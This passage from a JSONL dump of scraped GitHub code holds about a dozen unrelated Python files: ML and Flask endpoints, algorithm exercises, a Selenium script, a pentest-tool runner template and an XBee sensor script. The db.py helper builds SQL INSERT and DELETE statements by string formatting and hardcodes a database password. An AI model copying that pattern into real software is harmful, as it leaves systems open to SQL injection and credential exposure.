Model\", soft_time_limit=60 * 60, hard_time_limit=60 * 61)\ndef create_model_celery(user_id, model):\n try:\n celery_ml = ML(create_model_celery.request.id, user_id, model)\n result = celery_ml.create_model()\n\n return result, 200\n\n except SoftTimeLimitExceeded:\n # record soft time limit error to database log\n record_error(user_id, \"Max running time exceeded\")\n\n return \"Time limit exceeded!\", 400\n\n except Exception:\n # record runtime error to database log\n err_msg = \"Error:\\n\" + str(traceback.format_exc())\n record_error(user_id, err_msg)\n\n return f\"Runtime Error: {err_msg}\", 500\n\n\n@app.route(\"/api/models/result\", methods=[\"GET\"])\ndef model_result():\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n try:\n xAxis = workflow.Xaxis\n yAxis = workflow.Yaxis\n except Exception as e:\n error(e)\n return \"Missing xAxis or yAxis data!\", 400\n dataset = load_featurized_data(user_id)\n res = plot_results.plot_results(dataset, xAxis, yAxis)\n model_res_dict = {\"xAxis\": xAxis, \"yAxis\": yAxis, \"result\": res}\n debug(model_res_dict)\n\n return jsonify(model_res_dict), 200\n","repo_name":"zhaoqiwang1997/HackingMaterialsUI","sub_path":"src/backend/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"22689999352","text":"'''\nDana jest tablica A[n] z długościami samochodów, które stoją w kolejce, żeby wjechać na prom. \nProm ma dwa pasy (lewy i prawy), oba długości D. Proszę napisać program, który wyznacza, \nktóre samochody powinny pojechać na który pas, żeby na promie zmieściło się jak najwięcej aut.\nAuta muszą wjeżdżac w takiej kolejności, w jakiej są podane w tablicy A.\n'''\n\n# ALGORYTM \n'''\nRozważać będziemy następujące konfiguracje: k jest liczbą samochodów, które są w danym momencie na promie,\nl jest długością lewego pasa, która jest w danej chwili zajęta (znamy więc także zajętą część prawego pasa\n- jest to (suma długości samochodów od 0 do k) - l. Zauważmy, że dla konkretnych s i k, możemy dowiedzieć\nsię, co dzieje się dla k+1 samochodów. Jeżeli możemy wpuścić na prom k samochodów, zajmując przy tym l jednostek\nlewego pasa, to:\n\n-> możemy wpuścić k+1 samochód na lewy pas, zajmując (l+długość tego samochodu) jednostek lewego pasa, wtw \n gdy l+długość nie przekracza D - długości promu\n\n-> możemy wpuścić k+1 samochód na prawy pas, zajmując wciąż l jednostek lewego pasa, ale tylko jeżeli \n na prawym pasie zajęte jest nie więcej niż D (obliczamy to sumując długości wszystkich k+1 samochodów\n i odejmując długość zajętego lewego pasa (l))\n\nTworzymy więc macierz o wymiarach (l+1)x(s+1) i uzupełniamy ją wartościami True bądź False w zależności, czy\ndana konfiguracja jest możliwa do utworzenia nie przekraczając długości promu D.\nAby odtworzyć kolejność wjeżdżania na prom tworzymy także macierz rodziców - przechowującą informację,\nz której kolumny powyższego wiersza \"przyszliśmy\" (ile samochodów było na lewym pasie przed wjazdem k+1)\n\nBy w O(1) móc uzyskiwać na bieżąco sumę długości k+1 pierwszych samochodów utworzymy tablicę sum prefiksowych.\n\n'''\n\n\ndef ferry_loading(A,D):\n n = len(A) # liczba samochodów ogółem\n\n # pomocnicza tablica sum prefiksowych\n pref=[0]*(n+1)\n for i in range(1,n+1) :\n pref[i] = pref[i-1] + A[i-1]\n\n\n dp = [[False]*(D+1) for _ in range(n+1)]\n parents = [[None]*(D+1) for _ in range(n+1)]\n \n # pozostałe komórki pierwszego wiersza oprócz dp[0][0] zostawiamy jako False, \n # ponieważ wpuszczając 0 samochodów, nie możemy zająć więcej niż 0 jednostek lewego pasa\n dp[0][0] = True \n\n Max = (0,0) # krotka przechowująca komórkę w tablicy, dla której liczba samochodów jest największa,\n # na bieżąco aktualizuję\n\n # uzupełniamy wierszami macierz według założeń j.w.\n for k in range(n) :\n for s in range(D+1) :\n \n if dp[k][s] is True :\n \n # wpuszczamy k+1 samochód na lewy pas\n if s + A[k] <= D :\n dp[k+1][s+A[k]] = True\n parents[k+1][s+A[k]] = s\n Max = (k+1,s+A[k])\n \n # wpuszczamy k+1 samochód na prawy pas\n if pref[k+1] - s <= D :\n dp[k+1][s] = True\n parents[k+1][s] = s\n Max = (k+1,s)\n\n\n # na podstawie macierzy rodziców odtwarzamy, który samochód wpuszczono na lewy,\n # a który na prawy pas, zaczynając od komórki o współrzędnych trzymanych w Max\n # jeżeli rodzic jest w tej samej kolumnie, tzn że aktualny samochód wjechał na prawy \n # pas, jeżeli w innej - na lewy\n\n left = [None]*n\n \n row = Max[0]\n col = Max[1]\n\n while row > 0:\n \n if parents[row][col] == col :\n\n left[row-1] = False\n else:\n \n left[row-1] = True\n\n col = parents[row][col]\n row -= 1\n \n \n for i in range(n):\n\n if left[i] is True:\n print(i,\"left\")\n \n elif left[i] is False:\n print(i,\"right\")\n \n else:\n print(i,\"no\")\n \n return left\n \n \nA=[2,3,1,4,2,3]\nferry_loading(A,6)\n","repo_name":"sy1wi4/ASD-2020","sub_path":"dynamic programming/ferry_loading.py","file_name":"ferry_loading.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"pl","doc_type":"code","stars":5,"dataset":"github-code","pt":"99"} +{"seq_id":"75011972485","text":"import unittest\nimport tina.gitlib\nfrom mock import Mock\nimport git\n\nclass TestGitlib(unittest.TestCase):\n def test_checkout_repo(self):\n git.Repo.clone_from = Mock(return_value='test')\n repo_name = \"test_project\"\n repo_url = \"git://github.com/test_project.git\"\n tina.gitlib.checkout_repo(repo_name, repo_url)\n git.Repo.clone_from.assert_called_with(repo_url, \".tina/test_project\")\n\n def test_tag_of_repo_no_tags(self):\n repo = git.Repo\n repo.tags = []\n output = tina.gitlib.get_tag_of_repo(repo)\n expected = None\n self.assertEquals(expected, output)\n\n #def test_tag_of\n \n","repo_name":"RSEmail/tina","sub_path":"tina/test/test_gitlib.py","file_name":"test_gitlib.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"73384518726","text":"class State(object):\n def __init__(self, left_mons: int, left_miss: int, right_mons: int, right_miss: int, parent_move=None,\n boat_move_to_get_here=None):\n self.left_mons = left_mons\n self.left_miss = left_miss\n\n self.right_mons = right_mons\n self.right_miss = right_miss\n\n self.parent_move = parent_move\n self.boat_move_to_get_here = boat_move_to_get_here\n\n def check_and_transport(self, boat: tuple, return_journey=False) -> bool:\n \"\"\"\n Checks if the transportation is possible and does it.\n :param boat: tuple representing the boat config -> (, )\n :param return_journey: True if this is a return journey, else False\n :return: True if the transport operation was successful, else False\n \"\"\"\n assert 1 <= sum(boat) <= 2, 'A boat may have 1 or 2 people at a time'\n\n # If the boat is impossible with the current state\n if return_journey:\n if self.right_mons < boat[0] or self.right_miss < boat[1]:\n return False\n\n elif self.left_mons < boat[0] or self.left_miss < boat[1]:\n return False\n\n # State after transportation\n if return_journey:\n left_mons_ = self.left_mons + boat[0]\n left_miss_ = self.left_miss + boat[1]\n\n right_mons_ = self.right_mons - boat[0]\n right_miss_ = self.right_miss - boat[1]\n\n else:\n left_mons_ = self.left_mons - boat[0]\n left_miss_ = self.left_miss - boat[1]\n\n right_mons_ = self.right_mons + boat[0]\n right_miss_ = self.right_miss + boat[1]\n\n # If no of monsters exceed the no of missionaries after performing the operation\n if 0 < left_miss_ < left_mons_ or 0 < right_miss_ < right_mons_:\n return False\n\n # Transport\n self.left_mons = left_mons_\n self.left_miss = left_miss_\n\n self.right_mons = right_mons_\n self.right_miss = right_miss_\n\n return True\n\n def get_next_possible_states(self, return_journey=False) -> set:\n \"\"\"\n Get all the next possible states, given a state\n :param return_journey: True if this is a return journey, else False\n :return: a set of all possible states\n \"\"\"\n result = set()\n for boat in ((0, 1), (1, 0), (1, 1), (0, 2), (2, 0)):\n state = State(self.left_mons, self.left_miss, self.right_mons, self.right_miss, self,\n f'\\ /')\n\n if state.check_and_transport(boat, return_journey):\n if state.left_miss + state.left_mons == 0: # Check for success\n parent = self\n moves = [f'\\ /']\n\n while parent:\n moves.append(parent.boat_move_to_get_here)\n parent = parent.parent_move\n\n rev = False\n for move in reversed(moves):\n if move:\n if rev:\n print(move, '<-')\n rev = not rev\n\n else:\n print(move, '->')\n rev = not rev\n\n return set()\n\n else:\n result.add(state)\n\n return result\n\n def __str__(self):\n return f' | ------ | '\n\n def __eq__(self, other):\n return (self.left_mons == other.left_mons and\n self.left_miss == other.left_miss and\n self.right_mons == other.right_mons and\n self.right_miss == other.right_miss)\n\n def __hash__(self):\n return hash((self.left_mons, self.left_miss, self.right_miss, self.right_mons))\n\n\ndef get_answer():\n states = State(monsters, missionaries, 0, 0).get_next_possible_states()\n\n return_journey = True\n while states:\n next_states = set()\n for state in states:\n next_state = state.get_next_possible_states(return_journey)\n if next_state:\n next_states.update(next_state)\n\n else:\n next_states = {}\n break\n states, return_journey = next_states, not return_journey\n\n\n# Recursive Implementation, just in case someone needs it?\ndef get_ans_by_recursion():\n def x(states, return_journey):\n next_states = set()\n for state in states:\n next_state = state.get_next_possible_states(return_journey)\n\n if next_state:\n next_states.update(next_state)\n\n else:\n return None\n\n return x(next_states, not return_journey)\n\n states = State(monsters, missionaries, 0, 0).get_next_possible_states()\n\n x(states, True)\n\n\nif __name__ == '__main__':\n monsters = int(input('Enter no of monsters: '))\n missionaries = int(input('Enter no of missionaries: '))\n\n get_answer()\n","repo_name":"devxpy/missionaries-and-monsters","sub_path":"m_and_m.py","file_name":"m_and_m.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29614890537","text":"import psycopg2\n\ndef execute_p(query):\n\n conn = psycopg2.connect(\n host='zepalheta-postgres',\n database='zepalheta',\n user='postgres',\n password='qaninja',\n )\n\n cur = conn.cursor()\n cur.execute(query)\n\n conn.commit()\n\n cur.close()\n conn.close()\n\n\ndef format_cpf(cpf):\n return cpf [:3] + \".\" + cpf[3:6] + \".\" + cpf[6:9] + \"-\" + cpf[9:]\n\n\ndef Insert_customer(name, cpf, address, phone):\n\n cpf_formatado = format_cpf(cpf)\n\n query = \"insert into public.customers(name,cpf,address,phone_number) \"\\\n\t\"values ('{}', '{}', '{}', '{}');\".format(name, cpf_formatado, address, phone)\n \n execute_p(query)\n\n\ndef remove_customer_by_cpf(cpf):\n\n cpf_formatado = format_cpf(cpf)\n\n query = \"delete from public.customers where cpf = '{}';\".format(cpf_formatado)\n\n execute_p(query)\n\n\ndef Insert_equipo(name, daily_price):\n\n query = \"insert into public.equipos(name,daily_price) \"\\\n\t\"values ('{}', '{}');\".format(name, daily_price)\n \n execute_p(query)\n\n\ndef remove_equipos_by_name(name):\n query = \"delete from public.equipos where name = '{}';\".format(name)\n \n execute_p(query)","repo_name":"cristianocid/ze-palheta","sub_path":"resources/libs/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"72624462085","text":"__author__ = 'Artiom'\n\nimport logging\n\nfrom google.appengine.ext import ndb\nfrom google.appengine.api import memcache\nfrom recipe_db import *\n\n\ndef calcAverageRating(ratings):\n \"\"\"\n\n :param ratings: list of ratings entities\n :return: Average rating\n \"\"\"\n rate_dict = {'one': 1, 'two': 2, 'three': 3, 'four': 4, 'five': 5}\n average_rating = 0\n if ratings:\n counter = 0\n for rate in ratings:\n average_rating += int(rate_dict[rate.rating])\n counter += 1\n if counter > 0:\n return float(average_rating) / counter\n else:\n return None\n else:\n return None\n\n\ndef ratingsForRecipe(recipe_name, update=False):\n\n \"\"\"\n\n :param recipe_name:\n :param update:\n :return:\n \"\"\"\n rating = memcache.get(recipe_name)\n if (rating is None) or (update is True):\n recipe = Recipe.get_recipe_by_name(recipe_name)\n ratings = Rating.query(Rating.recipe == recipe.key)\n #db.GqlQuery(\"SELECT * FROM Rating WHERE recipe_name = :1\" , recipe_name)\n averageRating = calcAverageRating(ratings)\n memcache.set(recipe_name, averageRating)\n return rating\n\n\ndef update_rating(recipe_name, submitter, rating_value):\n \"\"\"\n\n :param recipe_name:\n :param submitter:\n :param rating_value:\n :return:\n \"\"\"\n recipe = Recipe.get_recipe_by_name(recipe_name)\n ratings = Rating.query(Rating.submitter == submitter, Rating.recipe == recipe.key)\n\n ##ratings = recipe.ratings.fetch(1000)\n #ratings.filter('submitter =', submitter)\n #ratings.filter('recipe =', recipe)\n updated = False\n if ratings:\n\n for rate in ratings:\n if rate.submitter == submitter:\n rate.rating = rating_value\n rate.put()\n updated = True\n ratingsForRecipe(recipe_name, True)\n if not updated:\n rate = Rating(recipe=recipe.key, submitter=submitter, rating=rating_value)\n rate.put()\n ratingsForRecipe(recipe_name, True)\n return True\n\n\ndef getRating(recipe_name):\n\n \"\"\"\n\n :param recipe_name:\n :return:\n \"\"\"\n rating = ratingsForRecipe(recipe_name)\n if rating:\n return rating\n else:\n return None\n\n\nclass Rating(ndb.Model):\n submitter = ndb.StringProperty(required=True)\n recipe = ndb.KeyProperty(kind=Recipe)#, collection_name='ratings', required=True)\n rating = ndb.TextProperty(required=True)\n created = ndb.DateTimeProperty(auto_now_add=True)\n\n\n","repo_name":"kredar/FinalProject","sub_path":"rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"32460843312","text":"#!/bin/env python3\n\nimport logging\nimport asyncio\nimport threading\nimport queue\nfrom builderlib.connection import *\n\n\nclass Application:\n\n loop = None\n server_ssl_context = None\n client_ssl_context = None\n servers = None\n logger = None\n\n def __init__(self, server_ssl_context=None, client_ssl_context=None):\n self.server_ssl_context = server_ssl_context\n self.client_ssl_context = client_ssl_context\n self.servers = []\n self.loop = asyncio.get_event_loop()\n self.logger = logging.getLogger(self.__class__.__name__)\n self.logger.debug('Constructor')\n\n def create_server(self, proto, port, ssl=True):\n ssl_context = self.server_ssl_context if ssl else None\n coro = self.loop.create_server(proto, host='0.0.0.0', port=port, ssl=ssl_context)\n server = self.loop.run_until_complete(coro)\n self.servers.append(server)\n self.logger.info('Created server at {}'.format(server.sockets[0].getsockname()))\n return server.sockets[0].getsockname()[1]\n\n def __server_thread(self, proto, queue):\n loop = asyncio.new_event_loop()\n coro = loop.create_server(proto, host='0.0.0.0', port=0)\n server = loop.run_until_complete(coro)\n queue.put(server.sockets[0].getsockname()[1])\n loop.run_forever()\n\n def create_connection(self, hostname, port):\n return Connection((hostname, port), self.client_ssl_context)\n\n def create_task(self, func):\n self.loop.run_in_executor(None, func)\n\n def create_server_thread(self, proto):\n q = queue.Queue()\n threading.Thread(target=self.__server_thread, args=(proto, q), daemon=True).start()\n port = q.get()\n self.logger.info('Created server at {}'.format(port))\n return port\n\n def run(self):\n self.loop.run_forever()\n\n def stop(self):\n self.logger.info('Stopping application')\n for server in self.servers:\n server.close()\n self.loop.close()\n","repo_name":"Mrokkk/git-remote-builder","sub_path":"builderlib/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"25636910493","text":"\nfrom selenium import webdriver\nfrom lxml import etree\nfrom time import sleep\n\ne_path = r'E:\\study\\python\\anaconda3\\Scripts\\chromedriver'\nmaster = webdriver.Chrome(executable_path=e_path)\nmaster.get(\"https://www.taobao.com/\")\n\n# 执行一组js程序\nmaster.execute_script('window.scrollTo(0,document.body.scrollHeight)')\n\nmaster.get('https://www.baidu.com/')\nsleep(2)\n# 浏览器回退\nmaster.back()\nsleep(2)\n# 浏览器前进\nmaster.forward()\nsleep(2)\nmaster.back()\n\n# 标签定位\nsearch_input = master.find_element_by_id('q')\n# 标签交互\nsearch_input.send_keys('Iphone')\n# 点击搜索按钮\nbtn = master.find_element_by_css_selector('.btn-search')\nbtn.click()\n\n","repo_name":"monarch-beluga/Study-Code","sub_path":"Python/python3/selenium_liu/实践/更多操作.py","file_name":"更多操作.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"99"} +{"seq_id":"7563217449","text":"import math\n\ndef get_DCG(array, p):\n dcg_score = 0\n for i in range(1, p):\n logPosition = math.log(i + 1, 2)\n dcgAdder = (math.pow(2, array[i - 1]) - 1) / logPosition\n dcg_score += dcgAdder\n return dcg_score\n\ndef get_NDCG(array, p):\n dcgScore = get_DCG(array, p)\n array = sorted(array, reverse=True)\n idcgScore = get_DCG(array, p)\n\n return dcgScore / idcgScore\n","repo_name":"Paleontolog/information-search","sub_path":"regression/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"6046466305","text":"#!/usr/bin/python\nfrom multiprocessing import Pool as ThreadPool\nfrom armory2.armory_main.included.utilities.color_display import (\n display,\n display_error,\n display_purple,\n)\nfrom armory2.armory_main.included.utilities import which\nimport shlex\nimport os\nimport time\n\nimport argparse\nimport sys\n\nif sys.version_info[0] < 3:\n from subprocess32 import Popen, STDOUT\nelse:\n from subprocess import Popen, STDOUT\n\nimport pdb\n\n\nclass ModuleTemplate(object):\n \"\"\"\n Master template for a module. Actual modules should just override this\n\n \"\"\"\n\n name = \"Template\"\n\n def __init__(self):\n\n pass\n\n def set_options(self):\n\n self.options = argparse.ArgumentParser(prog=self.name)\n\n def run(self, args):\n \"\"\"\n Execute the module, receives argparse arguments.\n \"\"\"\n pass\n\n\nclass ToolTemplate(ModuleTemplate):\n \"\"\"\n Generic template for running a tool, and ingesting the output.\n \"\"\"\n\n timeout = 0\n binary_name = \"\"\n no_threading = False\n\n def set_options(self):\n super(ToolTemplate, self).set_options()\n\n self.options.add_argument(\"-b\", \"--binary\", help=\"Path to the binary\")\n self.options.add_argument(\n \"-o\",\n \"--output_path\",\n help=\"Relative path (to the base directory) to store output\",\n default=os.path.join(\"output\", self.name),\n )\n self.options.add_argument(\n \"--threads\", help=\"Number of Armory threads to use\", default=\"10\"\n )\n self.options.add_argument(\n \"--timeout\",\n help=\"Thread timeout in seconds, default is never timeout\",\n default=\"0\",\n )\n self.options.add_argument(\n \"--hard_timeout\",\n help=\"Hard timeout in seconds. When this is elapsed, the thread will be kill -9'd\",\n default=\"0\",\n )\n self.options.add_argument(\n \"--tool_args\",\n help=\"Additional arguments to be passed to the tool\",\n nargs=argparse.REMAINDER,\n )\n self.options.add_argument(\n \"--no_binary\",\n help=\"Runs through without actually running the binary. Useful for if you already ran the tool and just want to process the output.\",\n action=\"store_true\",\n )\n self.options.add_argument(\n \"--profile1\", help=\"Append profile1_data to command\", action=\"store_true\"\n )\n self.options.add_argument(\n \"--profile1_data\", help=\"Additional arguments to be appended\", default=\"\"\n )\n self.options.add_argument(\n \"--profile2\", help=\"Append profile1_data to command\", action=\"store_true\"\n )\n self.options.add_argument(\n \"--profile2_data\", help=\"Additional arguments to be appended\", default=\"\"\n )\n self.options.add_argument(\n \"--profile3\", help=\"Append profile1_data to command\", action=\"store_true\"\n )\n self.options.add_argument(\n \"--profile3_data\", help=\"Additional arguments to be appended\", default=\"\"\n )\n self.options.add_argument(\n \"--profile4\", help=\"Append profile1_data to command\", action=\"store_true\"\n )\n self.options.add_argument(\n \"--profile4_data\", help=\"Additional arguments to be appended\", default=\"\"\n )\n\n # self.options.add_argument('--profile1', help=\"Use first profile options\")\n\n def run(self, args):\n self.args = args\n if self.args.tool_args:\n tool_args = []\n for t in self.args.tool_args:\n if \" \" in t:\n tool_args.append('\"' + t.replace('\"', '\\\\\"') + '\"')\n else:\n tool_args.append(t)\n self.args.tool_args = \" \".join(tool_args)\n\n else:\n self.args.tool_args = \"\"\n\n if self.args.profile1:\n self.args.tool_args += \" \" + self.args.profile1_data\n\n elif self.args.profile2:\n self.args.tool_args += \" \" + self.args.profile2_data\n elif self.args.profile3:\n self.args.tool_args += \" \" + self.args.profile3_data\n elif self.args.profile4:\n self.args.tool_args += \" \" + self.args.profile4_data\n\n if not self.args.binary:\n self.binary = which.run(self.binary_name)\n else:\n self.binary = which.run(self.args.binary)\n\n if not self.binary:\n print(\n \"%s binary not found. Please explicitly provide path with --binary\"\n % self.name\n )\n\n else:\n if self.args.timeout and self.args.timeout != \"0\":\n timeout = int(self.args.timeout)\n else:\n timeout = None\n # Currently not used, therefor to please flake8 commenting out.\n # if self.args.hard_timeout and self.args.hard_timeout != \"0\":\n # hard_timeout = int(self.args.hard_timeout)\n # else:\n # hard_timeout = None\n\n targets = self.get_targets(self.args)\n\n if not self.args.no_binary and targets:\n cmd = self.build_cmd(self.args).strip()\n cmds = self.populate_cmds(cmd, timeout, targets)\n\n # if hard_timeout:\n # Popen(['./kill_process.py', str(os.getpid()), self.binary, str(hard_timeout)], preexec_fn=os.setpgrp)\n\n self.pre_run(self.args)\n\n if self.no_threading:\n total_commands = len(cmds)\n for i, cmd in enumerate(cmds):\n run_cmd(cmd)\n display_purple(\n \"Processing results from command {} of {}.\".format(\n i + 1, total_commands\n )\n )\n self.process_output([targets[i]])\n else:\n pool = ThreadPool(int(self.args.threads))\n\n total_commands = len(cmds)\n done = 1\n for i in pool.imap_unordered(run_cmd, cmds):\n display_purple(\n \"Processing results from command {} of {}.\".format(\n done, total_commands\n )\n )\n done += 1\n # display(\"DEBUG: i: {}\".format(i))\n # display(\"DEBUG: target: {}\".format(targets[cmds.index(i)]))\n self.process_output([targets[cmds.index(i)]])\n self.post_run(self.args)\n if targets and self.args.no_binary:\n self.process_output(targets)\n\n def get_targets(self, args):\n \"\"\"\n This module is used to build out a target list and output file list, depending on the arguments. Should return a\n list in the format [{'target':'target', 'output':'output'}), {'target':'target', 'output':'output'}, etc, etc]\n \"\"\"\n\n return []\n\n def build_cmd(self, args):\n \"\"\"\n Create the actual command that will be executed. Use {target} and {output} as placeholders.\n \"\"\"\n\n return \"\"\n\n def populate_cmds(self, cmd, timeout, targets):\n \"\"\"\n Populate the cmds, if you need to do it in a custom manner.\n \"\"\"\n\n return [shlex.split(cmd.format(**t)) + [timeout] for t in targets]\n\n def pre_run(self, args):\n \"\"\"\n Does anything you need to be done before the actual commands are threaded and executed. Has access to self and args.\n \"\"\"\n\n return\n\n def post_run(self, args):\n \"\"\"\n Any cleanup you need to do. This runs before process_output, has access to args.\n \"\"\"\n\n return\n\n def process_output(self, cmds):\n \"\"\"\n Process the output generated by the earlier commands.\n \"\"\"\n\n def build_generic_targets(self, targets, output_path):\n '''\n Helper function that can be used to create targets dictionary\n '''\n res = []\n for t in targets:\n if type(t) == list and len(t) > 1 and t[1]:\n\n res.append(\n {\n \"target\": t[0] if \"FUZZ\" in t[0] else f\"{t[0]}/FUZZ\",\n \"output\": os.path.join(\n output_path,\n t[0]\n .replace(\":\", \"_\")\n .replace(\"/\", \"_\")\n .replace(\"?\", \"_\")\n .replace(\"&\", \"_\")\n + f\"-{t[1]}-dir.txt\", # noqa: W503\n ),\n \"virtualhost\": t[1],\n }\n )\n else:\n if type(t) == list:\n t = t[0]\n # pdb.set_trace()\n res.append(\n {\n \"target\": t,\n \"output\": os.path.join(\n output_path,\n t.replace(\":\", \"_\")\n .replace(\"/\", \"_\")\n .replace(\"?\", \"_\")\n .replace(\"&\", \"_\")\n + \"-dir.txt\", # noqa: W503\n ),\n }\n )\n\n return res\n\nclass ToolTemplateNoOutput(ToolTemplate):\n \"\"\"\n Generic template for running a tool, and ingesting the output.\n \"\"\"\n\n def run(self, args):\n if args.tool_args:\n args.tool_args = \" \".join(args.tool_args)\n else:\n args.tool_args = \"\"\n\n if args.profile1:\n args.tool_args += \" \" + args.profile1_data\n\n elif args.profile2:\n args.tool_args += \" \" + args.profile2_data\n elif args.profile3:\n args.tool_args += \" \" + args.profile3_data\n elif args.profile4:\n args.tool_args += \" \" + args.profile4_data\n\n if not args.binary:\n self.binary = which.run(self.binary_name)\n else:\n self.binary = which.run(args.binary)\n\n if not self.binary:\n print(\n \"%s binary not found. Please explicitly provide path with --binary\"\n % self.name\n )\n\n else:\n if args.timeout and args.timeout != \"0\":\n timeout = int(args.timeout)\n else:\n timeout = None\n # Currently not used, therefor to please flake8 commenting out.\n # if args.hard_timeout and args.hard_timeout != \"0\":\n # hard_timeout = int(args.hard_timeout)\n # else:\n # hard_timeout = None\n\n targets = self.get_targets(args)\n\n if not args.no_binary and targets:\n cmd = self.build_cmd(args).strip()\n\n cmds = [\n (shlex.split(cmd.format(**t)) + [timeout], t[\"output\"])\n for t in targets\n ]\n\n # if hard_timeout:\n # Popen(['./kill_process.py', str(os.getpid()), self.binary, str(hard_timeout)], preexec_fn=os.setpgrp)\n\n self.pre_run(args)\n pool = ThreadPool(int(args.threads))\n\n total_commands = len(cmds)\n done = 1\n for i in pool.imap_unordered(run_cmd_noout, cmds):\n display_purple(\n \"Processing results from command {} of {}.\".format(\n done, total_commands\n )\n )\n done += 1\n # display(\"DEBUG: i: {}\".format(i))\n # display(\"DEBUG: target: {}\".format(targets[cmds.index(i)]))\n self.process_output([targets[cmds.index(i)]])\n self.post_run(args)\n if targets and args.no_binary:\n\n self.process_output(targets)\n\n\ndef run_cmd(cmd):\n # c = []\n # for cm in cmd[:-1]:\n # if ' ' in cm:\n # c.append('\"' + cm + '\"')\n # else:\n # c.append(cm)\n c = cmd[:-1]\n timeout = cmd[-1]\n display(\"Executing command: %s\" % \" \".join(c))\n\n current_time = time.time()\n\n if timeout:\n process = Popen(c)\n while time.time() < current_time + timeout and process.poll() is None:\n time.sleep(5)\n if process.poll() is None:\n\n display_error(\n \"Timeout of %s reached. Aborting thread for command: %s\"\n % (timeout, \" \".join(c))\n )\n process.terminate()\n\n else:\n Popen(c).wait()\n\n return cmd\n\n\ndef run_cmd_noout(cmd_data):\n cmd = cmd_data[0]\n output = cmd_data[1]\n c = cmd[:-1]\n timeout = cmd[-1]\n display(\"Executing command: %s\" % \" \".join(c))\n\n current_time = time.time()\n f = open(output, \"w\")\n if timeout:\n\n process = Popen(c, stdout=f, stderr=STDOUT)\n while time.time() < current_time + timeout and process.poll() is None:\n time.sleep(5)\n if process.poll() is None:\n\n display_error(\n \"Timeout of %s reached. Aborting thread for command: %s\"\n % (timeout, \" \".join(c))\n )\n process.terminate()\n\n else:\n Popen(c, stdout=f, stderr=STDOUT).wait()\n f.close()\n return cmd_data\n","repo_name":"depthsecurity/armory","sub_path":"armory2/armory_main/included/ModuleTemplate.py","file_name":"ModuleTemplate.py","file_ext":"py","file_size_in_byte":13467,"program_lang":"python","lang":"en","doc_type":"code","stars":408,"dataset":"github-code","pt":"99"} +{"seq_id":"26237280810","text":"from ina219 import INA219\nfrom machine import I2C\nimport sys\nimport xbee\nimport time\n\nprint(\"#Booting Up...\")\n\n# Instantiate an I2C peripheral.\ni2c = I2C(1)\nfor address in i2c.scan():\n print(\"- I2C device found at address: %s\" % hex(address))\n\nwhile xbee.atcmd(\"AI\") != 0:\n print(\"#Trying to Connect...\")\n time.sleep(0.5)\n\nprint(\"#Online...\")\n\nTARGET_64BIT_ADDR = b'\\x00\\x13\\xA2\\x00\\x41\\xA7\\xAD\\x9A'\n\n#ina219:\n#A0:A1\n# 1:1 = 0x45 Solar\n# 0:1 = 0x44 Battery\n# 1:0 = 0x41 5VoltRail\n# 0:0 = 0x40 12VoltRail\n\nSOLAR_INA219A_ADDR = 0x45\nBATTERY_INA219A_ADDR = 0x44\nFIVEVR_INA219A_ADDR = 0x41\nTWELVEVR_INA219A_ADDR = 0x40\n\nI2C_INTERFACE_NO = 1\nSHUNT_OHMS = 0.1\n\ndef read_solar():\n try:\n solar_voltage = str(solar_ina.voltage())\n solar_current = str(solar_ina.current())\n print_solar = \"Solar:\" + time_snapshot + \":BusVolt:\" + solar_voltage + \"V:Current:\" + solar_current + \"mA:#\"\n except:\n print_solar = \"Solar:\" + time_snapshot + \":BusVolt:INVALID:Current:INVALID:#\"\n print(\"INA219:0x45: Solar read failed...\")\n\n try:\n xbee.transmit(TARGET_64BIT_ADDR, print_solar)\n except:\n print(\"XBee: TX Solar Failed...\")\n\ndef read_battery():\n try:\n battery_voltage = str(battery_ina.voltage())\n battery_current = str(battery_ina.current())\n print_battery = \"Battery:\" + time_snapshot + \":BusVolt:\" + battery_voltage + \"V:Current:\" + battery_current + \"mA:#\"\n except:\n print_battery = \"Battery:\" + time_snapshot + \":BusVolt:INVALID:Current:INVALID:#\"\n print(\"INA219:0x44: Battery read failed...\")\n\n try:\n xbee.transmit(TARGET_64BIT_ADDR, print_battery)\n except:\n print(\"XBee: Battery TX Failed...\")\n\ndef read_fivevr():\n try:\n fivevr_voltage = str(fivevr_ina.voltage())\n fivevr_current = str(fivevr_ina.current())\n print_fivevr = \"5V_Rail:\" + time_snapshot + \":BusVolt:\" + fivevr_voltage + \"V:Current:\" + fivevr_current + \"mA:#\"\n except:\n print_fivevr = \"5V_Rail:\" + time_snapshot + \":BusVolt:INVALID:Current:INVALID:#\"\n print(\"INA219:0x41: 5V Rail read failed...\")\n\n try:\n xbee.transmit(TARGET_64BIT_ADDR, print_fivevr)\n except:\n print(\"XBee: 5V Rail TX Failed...\")\n\ndef read_twelvevr():\n try:\n twelvevr_voltage = str(twelvevr_ina.voltage())\n twelvevr_current = str(twelvevr_ina.current())\n print_twelvevr = \"12V_Rail:\" + time_snapshot + \":BusVolt:\" + twelvevr_voltage + \"V:Current:\" + twelvevr_current + \"mA:#\"\n except:\n print_twelvevr = \"12V_Rail:\" + time_snapshot + 